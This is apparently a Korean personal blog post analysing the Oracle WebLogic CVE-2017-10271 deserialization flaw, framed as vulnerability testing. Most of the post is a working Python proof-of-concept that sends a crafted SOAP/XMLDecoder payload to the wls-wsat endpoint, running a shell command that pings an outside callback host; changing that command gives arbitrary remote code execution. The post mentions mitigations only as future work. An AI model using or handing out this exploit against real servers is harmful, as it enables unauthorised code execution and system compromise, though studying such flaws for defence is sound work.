Today's

길을 나서지 않으면 그 길에서 만날 수 있는 사람을 만날 수 없다

갑을병정이야기

오늘 일과를 위해서, Oracle WebLogic 취약점, Java OkHttp API 호출 등등...

Billcorea 2025. 9. 14. 15:41
반응형

 

Oracle WebLogic Server CVE-2017-10271 취약점 분석 및 테스트

웹취약점 강조이미지

 

1. 취약점 개요

CVE-2017-10271은 WebLogic의 WSAT 컴포넌트에서 발생한 역직렬화 취약점으로, SOAP 요청을 통해 원격 코드 실행이 가능한 심각한 보안 이슈입니다.

  • 공개일: 2017년 10월
  • CVSS 점수: 7.5 (High)
  • 영향 버전: WebLogic 10.3.6 이하, 12.1.3 이하 등

2. Python으로 취약점 검증하기

외부 코드를 반입하지 않고 SOAP 요청을 직접 구성하여 WebLogic 서버에 테스트할 수 있습니다.

import requests

target_url = "http://<TARGET_IP>:<PORT>/wls-wsat/CoordinatorPortType"

payload = """<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.8" class="java.beans.XMLDecoder">
        <object class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0"><string>cmd</string></void>
            <void index="1"><string>/c</string></void>
            <void index="2"><string>ping yourdomain.ceye.io</string></void>
          </array>
          <void method="start"/>
        </object>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
"""

headers = { "Content-Type": "text/xml" }

response = requests.post(target_url, data=payload, headers=headers)
print("Status Code:", response.status_code)
print("Response:", response.text)
 

 

대응방안도 연구해 봐야할 것 같습니다. 

 

반응형